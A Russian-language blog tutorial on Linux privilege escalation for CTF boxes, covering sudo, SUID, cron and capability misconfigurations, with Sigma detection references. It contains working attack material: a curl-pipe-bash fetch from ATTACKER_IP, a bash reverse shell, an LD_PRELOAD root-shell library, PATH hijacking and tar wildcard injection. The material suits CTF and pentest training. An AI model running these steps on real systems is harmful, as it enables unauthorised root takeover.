Главная / Блог / SUID, sudo и cron: повышение привилегий Linux CTF — от разведки до root

14 мин.00

SUID, sudo и cron: повышение привилегий Linux CTF — от разведки до root

SUID, sudo и cron: повышение привилегий Linux CTF — от разведки до root

SUID, sudo и cron: повышение привилегий Linux CTF — от разведки до root

Последние полгода я целенаправленно разбирал CTF-машины на HackTheBox и TryHackMe — и заметил закономерность, которая повторяется с упрямой регулярностью: подавляющее большинство задач уровня Easy и Medium по Linux privesc сводятся к трём векторам — misconfigured sudo, забытый SUID-бинарь или writable cron-скрипт. Три команды после получения shell, десять минут на разбор вывода — и root. Проблема в том, что начинающие запускают LinPEAS, получают простыню на три экрана и тонут в выводе. Здесь я разложу каждый из трёх основных векторов повышения привилегий Linux для CTF: что искать, какой командой проверять, как эксплуатировать — и когда техника бесполезна.

Место privesc в цепочке атаки на CTF-машину

Повышение привилегий — не первый шаг и не последний. В терминах MITRE ATT&CK это тактика Privilege Escalation, сидящая между Initial Access и последующими действиями: Persistence, Credential Access, Lateral Movement. На CTF-машине типичная цепочка выглядит так: Подробнее — в нашем руководстве по linux для пентестера.

  1. Разведка — сканирование портов, перечисление сервисов
  2. Initial access — эксплуатация уязвимости (SQLi, RCE через устаревший сервис)
  3. Foothold — shell от имени low-priv пользователя (www-data, node, пользовательский аккаунт)
  4. Privilege escalation — переход к root
  5. Proof — чтение /root/root.txt

Этап 4 — цель этой статьи. Техники ATT&CK, которые разберём:

  • Setuid and Setgid (T1548.001) — эксплуатация SUID-бинарей
  • Sudo and Sudo Caching (T1548.003) — злоупотребление sudo-правами
  • Exploitation for Privilege Escalation (T1068) — эксплуатация мисконфигураций cron и других системных механизмов

Перед атакой нужна разведка: System Owner/User Discovery (T1033) и System Information Discovery (T1082) — базовые команды, дающие контекст для выбора вектора.

Требования к окружению

Чтобы повторить примеры из статьи:

  • Атакующая машина: Kali Linux или Parrot OS (минимум 2 ГБ RAM, рекомендуется 4 ГБ)
  • Целевая машина: CTF-бокс с Linux (HackTheBox, TryHackMe) или локальная VM с намеренно ослабленной конфигурацией (VulnHub-машина, Metasploitable)
  • Сеть: VPN-подключение к CTF-платформе или NAT-сеть между VM
  • Инструменты: стандартный набор Kali (curl, wget, python3, nc). LinPEAS и pspy доставляются на целевую машину отдельно

Разведка после foothold: четыре команды для повышения привилегий Linux

[Применимо: CTF, внутренний пентест, любая Linux-система с непривилегированным shell]

Прежде чем запускать LinPEAS (активно поддерживается, последний релиз — 2025, 16 000+ звёзд на GitHub), я выполняю четыре команды руками. Каждая бьёт в конкретный вектор, в сумме — 30 секунд:

Что могу через sudo: sudo -l — показывает, какие команды текущий пользователь может запускать с повышенными привилегиями. Если в выводе есть NOPASSWD и любой бинарь из GTFOBins — это первый кандидат. Без пароля, без задержки.

SUID-бинари в системе: find / -perm -4000 -type f 2>/dev/null — находит все файлы с установленным SUID-битом. Стандартные (mount, passwd, ping) — игнорируем. Всё нестандартное — потенциальный вектор.

Cron-задачи: cat /etc/crontab и ls -la /etc/cron.d/ — системные задачи планировщика. Ищем скрипты, запускаемые от root, к которым у текущего пользователя есть доступ на запись.

Capabilities: getcap -r / 2>/dev/null — бинари с установленными Linux capabilities. Capability cap_setuid на интерпретаторе (python, perl) — считай, root в кармане.

Дополнительно полезно глянуть: id (группы пользователя — docker, lxd, disk дают отдельные вектора), uname -a (версия ядра для kernel exploits), cat /etc/os-release (дистрибутив и версия). На некоторых CTF-машинах cat ~/.bash_history содержит подсказки — пароли, пути к конфигурациям, подозрительные команды. Я встречал боксы, где пароль root валялся прямо в истории.

Когда включать автоматику: LinPEAS запускаю после ручной разведки — когда четыре базовые команды ничего не дали. Скрипт проверяет сотни параметров: writable PATH-директории, утечки токенов в переменных окружения, capabilities на бинарях, NFS-шары с no_root_squash. Доставка на целевую машину: curl http://ATTACKER_IP:8080/linpeas.sh | bash или wget + chmod +x + запуск. Вывод маркируется цветом: красным и жёлтым — критические находки, с них и начинаем.

Sudo misconfiguration: от sudo -l до root shell

[Применимо: CTF, внутренний пентест. Требование: пользователь имеет хотя бы одну запись в sudoers]

Техника Sudo and Sudo Caching (T1548.003) — самый частый вектор повышения привилегий Linux CTF на уровне Easy. Механика простая: администратор через /etc/sudoers разрешает пользователю запускать определённые программы с правами root. Если программа позволяет выполнять произвольные команды (spawn shell, запись в файл, вызов внешних программ) — это прямой путь к root.

GTFOBins и NOPASSWD для эксплуатации sudo

Первый шаг — sudo -l. Допустим, вывод: (root) NOPASSWD: /usr/bin/find. Флаг NOPASSWD — пароль не требуется. Дальше — GTFOBins (gtfobins.github.io — курируемый справочник Unix-бинарей, которые можно использовать для обхода локальных ограничений; проект активно поддерживается сообществом). Ищем раздел «Sudo» для find. Ответ: sudo find . -exec /bin/bash \; -quit — одна команда, и мы root. Флаг -exec у find выполняет произвольную команду для каждого найденного файла. Поскольку find запущен через sudo от root — shell тоже получает root-привилегии.

Кроме find, в GTFOBins задокументированы десятки опасных бинарей для sudo: vim, nano, less, awk, perl, python, ruby, env, man, bash. Каждый позволяет получить shell или записать данные в произвольный файл. Видите любой из них в выводе sudo -l с NOPASSWD — проверяйте GTFOBins немедленно. Для менее очевидных бинарей ищите возможность вызвать shell изнутри программы: в vim:!/bin/bash, в less!bash, в awksystem("/bin/bash").

Когда sudo-вектор не работает:

  • Пароль требуется (NOPASSWD отсутствует), и мы его не знаем
  • В sudo-правилах зафиксированы конкретные аргументы: (root) /usr/bin/find /var/log -name "*.log"-exec добавить нельзя
  • Бинарь отсутствует в GTFOBins и не позволяет spawn shell или писать в файлы
  • Включён secure_path и переменные окружения сброшены (актуально для LD_PRELOAD-вектора ниже)

LD_PRELOAD — когда в sudo нет опасных бинарей

Иногда sudo -l показывает бинарь, которого нет в GTFOBins — apache2, кастомное приложение, service. Тут на помощь приходит LD_PRELOAD. Вектор работает только если в выводе sudo -l есть строка env_keep += LD_PRELOAD. Если переменные окружения наследуются через sudo — создаём shared object, который перехватывает загрузку:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

Компиляция: gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c. Запуск: sudo LD_PRELOAD=/tmp/pe.so apache2 — root shell. Функция _init() срабатывает до основного кода программы: вызывает setresuid(0,0,0) (установка UID/GID/EUID в 0, то есть root) и запускает bash с привилегиями.

Аналогичный подход — LD_LIBRARY_PATH: через ldd находим зависимости разрешённого бинаря, создаём shared object с именем одной из библиотек, указываем путь sudo LD_LIBRARY_PATH=/tmp apache2. Принцип тот же — наш код выполняется в контексте root.

Когда не работает: env_reset включён в sudo (по умолчанию в Ubuntu 20.04+, Debian 11+, CentOS 8+). В этом случае LD_PRELOAD сбрасывается перед запуском. На CTF-машинах эту настройку часто намеренно ослабляют — проверяйте вывод sudo -l на наличие env_keep.

SUID бит Linux: поиск и эксплуатация через PATH hijacking

[Применимо: CTF, внутренний пентест, legacy-системы без мониторинга]

SUID-бит (Set User ID upon execution) — специальное разрешение файла, при котором программа выполняется с правами владельца, а не того, кто её запустил. Если владелец — root и бинарь позволяет взаимодействовать с системой — вектор для техники Setuid and Setgid (T1548.001). В SigmaHQ есть правило proc_creation_lnx_setgid_setuid.yml, которое детектирует установку SUID/SGID через chmod — но на CTF-машинах мониторинга нет, так что действуем свободно.

Анализ нестандартного SUID-бинаря

Команда find / -perm -4000 -type f 2>/dev/null покажет полный список. Стандартные бинари — /usr/bin/mount, /usr/bin/passwd, /usr/bin/ping, /usr/bin/newgrp — норма, они требуют SUID для штатной работы. Нас интересует всё за пределами /usr/bin/ и /usr/sbin/: файлы в /opt/, /usr/local/bin/, /home/, пользовательских директориях. Если в /opt/ торчит какой-нибудь custom-backup с SUID — это подарок.

Алгоритм анализа нестандартного бинаря:

  1. file /opt/custom-backup — тип файла (ELF, скрипт, символическая ссылка)
  2. strings /opt/custom-backup | head -30 — поиск вызовов внешних команд
  3. ltrace /opt/custom-backup 2>&1 (если доступен) — библиотечные вызовы, включая system() и popen()

Если strings показывает вызов внешней команды без абсолютного пути (просто cp вместо /usr/bin/cp, просто service вместо /usr/sbin/service) — это PATH manipulation. Работает, когда SUID-бинарь вызывает команду через system() или popen() (они используют shell и переменную PATH). Если бинарь использует execve() с абсолютным путём — фокус не пройдёт.

Эксплуатация SUID через PATH hijacking

Допустим, strings показал, что SUID-бинарь /opt/custom-backup вызывает cp без полного пути через system(). Создаём вредоносный cp в /tmp: записываем в файл #!/bin/bash и /bin/bash -p (флаг -p сохраняет effective UID). Делаем исполняемым: chmod +x /tmp/cp. Добавляем /tmp в начало PATH: export PATH=/tmp:$PATH. Запускаем SUID-бинарь: /opt/custom-backup. Бинарь ищет cp в PATH, находит наш скрипт первым, выполняет его с правами root — shell с привилегиями. Вся операция — минута.

Другой подход — подмена shared object: если через strace или ltrace видно, что SUID-бинарь загружает .so-файл из директории, доступной для записи — компилируем свою библиотеку с аналогичным именем, содержащую payload.

Когда не работает:

  • Бинарь использует execve() с абсолютными путями — PATH игнорируется
  • Бинарь стандартный и есть в GTFOBins, но раздел SUID помечен как неэксплуатируемый
  • На системе включён AppArmor или SELinux с профилем для этого бинаря (не типично для CTF, часто в production)
  • Все вызываемые утилиты hardcoded с полным путём

Cron job privilege escalation: три вектора атаки

[Применимо: CTF уровня Medium, внутренний пентест. Cron-задачи требуют больше анализа, чем sudo или SUID]

Cron — планировщик задач в Linux. Если задача запускается от root и мы можем повлиять на то, что она выполняет — это повышение привилегий Linux CTF через мисконфигурацию. Задачи описываются в /etc/crontab, файлах в /etc/cron.d/, а также в пользовательских crontab (недоступных другим пользователям без root).

Три основных способа эксплуатации cron-задач (согласно blog.deephacking.tech): слабые права на файлы (File Permissions), отсутствие абсолютного пути (PATH), использование wildcard (*) в командах.

Перезапись writable cron-скрипта

Простейший вектор. Проверяем cat /etc/crontab, находим строку: * * * * * root /usr/local/bin/cleanup.sh. Проверяем права: ls -la /usr/local/bin/cleanup.sh. Если файл writable для текущего пользователя или его группы — перезаписываем содержимое. Варианты payload: обратный shell (bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1), копирование /bin/bash в /tmp/bash с установкой SUID (cp /bin/bash /tmp/bash && chmod +s /tmp/bash), добавление пользователя с UID 0 в /etc/passwd.

Ждём выполнения задачи — интервал указан в crontab. Если каждую минуту, root shell или SUID-копия bash появится через 60 секунд. Можно пойти заварить чай.

PATH hijacking в crontab

Файл /etc/crontab содержит переменную PATH. Если cron-задача вызывает скрипт без абсолютного пути (просто overwrite.sh вместо /usr/local/bin/overwrite.sh), cron ищет файл по директориям из PATH. Если одна из директорий PATH доступна для записи (например, /home/user) и стоит раньше реального расположения скрипта — создаём одноимённый файл.

Пример: PATH=/home/user:/usr/local/sbin:/usr/local/bin в crontab, задача * * * * * root overwrite.sh. Создаём /home/user/overwrite.sh с payload: cp /bin/bash /tmp/bash && chmod +xs /tmp/bash. Делаем исполняемым: chmod +x ~/overwrite.sh. Через минуту в /tmp появляется bash с SUID-битом. Запускаем /tmp/bash -p — root. Cron нашёл наш скрипт раньше легитимного, потому что /home/user стоит первым в PATH.

Wildcard injection в tar

Самый неочевидный вектор cron privilege escalation — и мой любимый на CTF. Если cron-задача использует tar с wildcard * — например, tar czf /tmp/backup.tar.gz * в некоторой директории — имена файлов интерпретируются как аргументы. У tar есть ключи --checkpoint и --checkpoint-action, позволяющие выполнить произвольную команду:

# В директории, откуда tar забирает файлы:
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"

При выполнении cron-задачи tar обрабатывает файлы --checkpoint=1 и --checkpoint-action=exec=sh shell.sh как аргументы командной строки. Результат: shell.sh выполняется от root, в /tmp появляется bash с SUID. Запускаем /tmp/rootbash -p — root shell. Красота в том, что tar сам не подозревает подвоха — он честно обрабатывает «имена файлов», которые оказываются его же флагами.

Когда cron-вектора не работают:

  • Скрипт вызывается с абсолютным путём, и у нас нет прав на запись к нему
  • Wildcard не используется, или tar запущен с -- (разделитель опций и файлов) перед файлами
  • Cron-задача выполняется от непривилегированного пользователя, а не от root
  • AppArmor/SELinux ограничивает действия cron-скрипта (в production — часто, на CTF — редко)

Скрытые cron-задачи: pspy и мониторинг процессов

Главная проблема с cron: пользовательские crontab'ы (добавленные через crontab -e для конкретного аккаунта) не отображаются в cat /etc/crontab и /etc/cron.d/. Без root-прав вы их не увидите. А они там есть — и иногда именно в них зарыт вектор.

Решение — pspy (GitHub: dominicbreuker/pspy, активно поддерживается, 5 000+ звёзд). Инструмент мониторит создание процессов через inotify на /proc без root-прав. Показывает, какие команды запускаются, от какого UID и в какое время.

Доставляем pspy на целевую машину, запускаем ./pspy64 (или ./pspy32 для 32-bit), ждём 2-5 минут. В выводе ищем строки с UID=0 — процессы от root. Если каждую минуту появляется /bin/sh -c /opt/scripts/backup.sh — это скрытая cron-задача. Дальше проверяем права на /opt/scripts/backup.sh и применяем один из трёх векторов выше.

Альтернатива pspy — systemd-таймеры: systemctl list-timers --all 2>/dev/null. На дистрибутивах с systemd (Ubuntu 18.04+, Debian 10+, CentOS 7+) таймеры могут использоваться вместо cron или параллельно с ним. Также полезно проверить /var/spool/cron/crontabs/ — иногда права позволяют читать файлы других пользователей.

Linux Capabilities: гранулярный аналог SUID

[Применимо: CTF уровня Medium и выше, внутренний пентест]

Capabilities — механизм Linux, дающий программам отдельные привилегии root без полного SUID-бита. Вместо «всё или ничего» (как с SUID) можно выдать конкретное право. Для атакующего подвох в том, что бинарь не появится в выводе find -perm -4000, но всё равно позволит повысить привилегии. Тихий такой вектор.

Поиск: getcap -r / 2>/dev/null. Если вывод содержит /usr/bin/python3.8 = cap_setuid+ep — python может менять UID текущего процесса. GTFOBins, раздел «Capabilities» для python: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' — root shell в одну строку.

Опасные capabilities помимо cap_setuid:

  • cap_dac_read_search — чтение любых файлов в системе (можно вытянуть /etc/shadow и сбрутить хеш root)
  • cap_dac_override — запись в любые файлы (можно модифицировать /etc/passwd)
  • cap_net_raw — перехват сетевого трафика (горизонтальное повышение привилегий, перехват учётных данных)
  • cap_sys_admin — широкий набор привилегий, включая монтирование файловых систем

MITRE D3FEND рекомендует D3-CI (Configuration Inventory) и D3-AM (Access Modeling) как защитные меры для отслеживания SUID/capabilities (T1548.001) — но на CTF это не встречается.

Когда не работает: capabilities не установлены ни на одном нестандартном бинаре (чистая установка), или установлены capabilities без прямого пути к root (cap_net_bind_service — привязка к портам ниже 1024, бесполезна для privesc).

Decision tree: как выбирать вектор повышения привилегий

Порядок проверки, оптимизированный по вероятности успеха на CTF-задачах:

Шаг Команда Что ищем Время
1 sudo -l NOPASSWD + бинарь из GTFOBins 30 сек
2 find / -perm -4000 -type f 2>/dev/null Нестандартный SUID-бинарь 2-5 мин
3 cat /etc/crontab + ls /etc/cron.d/ Writable скрипт от root 1-2 мин
4 getcap -r / 2>/dev/null cap_setuid на интерпретаторе 30 сек
5 pspy Скрытые cron-задачи 3-5 мин
6 LinPEAS Полный аудит: writable PATH, NFS, переменные окружения 5-10 мин
7 uname -a + searchsploit Kernel exploits (крайняя мера) 10+ мин

На шагах 1-4 решается абсолютное большинство задач Easy и значительная часть Medium. Шаги 5-6 — когда прямых мисконфигураций нет и нужно копать глубже. Kernel exploits — последний вариант: они нестабильны, могут уронить машину и часто указывают на то, что вы пропустили более простой вектор.

Отдельного внимания заслуживает горизонтальное повышение привилегий: путь к root часто лежит через другого пользователя. Проверяйте /home/ — доступные для чтения файлы, SSH-ключи в .ssh/, пароли в .bash_history или конфигурационных файлах веб-приложений. На CTF-машинах типичен сценарий: www-data → user (через пароль в конфиге БД) → root (через sudo или SUID).

На одном из недавних боксов я нашёл именно такую цепочку: foothold через веб-приложение дал www-data, в конфиге MySQL нашёл пароль пользователя, а у того в sudo -l стоял NOPASSWD: /usr/bin/env. Одна команда sudo env /bin/bash — root за две минуты после foothold. Весь бокс занял минут двадцать.

За два года активного прохождения CTF-задач и нескольких десятков внутренних пентестов я пришёл к выводу, который мало кому нравится: повышение привилегий Linux — не про хитрые эксплойты ядра и не про zero-day. Это про банальные мисконфигурации, которые повторяются снова и снова. Администратор добавил NOPASSWD для удобства, разработчик оставил cron-скрипт с правами 777, DevOps-инженер не убрал SUID после отладки. Те же самые ошибки я вижу на реальных инфраструктурах — только там рядом стоит EDR и настроен мониторинг. Sigma-правило proc_creation_lnx_setgid_setuid.yml из SigmaHQ детектирует установку SUID-бита, file_event_lnx_persistence_sudoers_files.yml — модификацию sudoers. Но на CTF защиты нет, и эксплуатация сводится к методичной проверке четырёх команд.

Главная ошибка начинающих — перепрыгивание через этап анализа. Запустили LinPEAS, увидели красную строку, побежали эксплуатировать — а через час понимают, что не тот вектор. Decision tree выше существует именно для того, чтобы отсечь шум и двигаться от простого к сложному. На WAPT эту цепочку проходят в течение двух модулей с лабами — если чувствуете, что понимание формулы на бумаге есть, а руки не попадают в команды, это способ закрыть разрыв.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...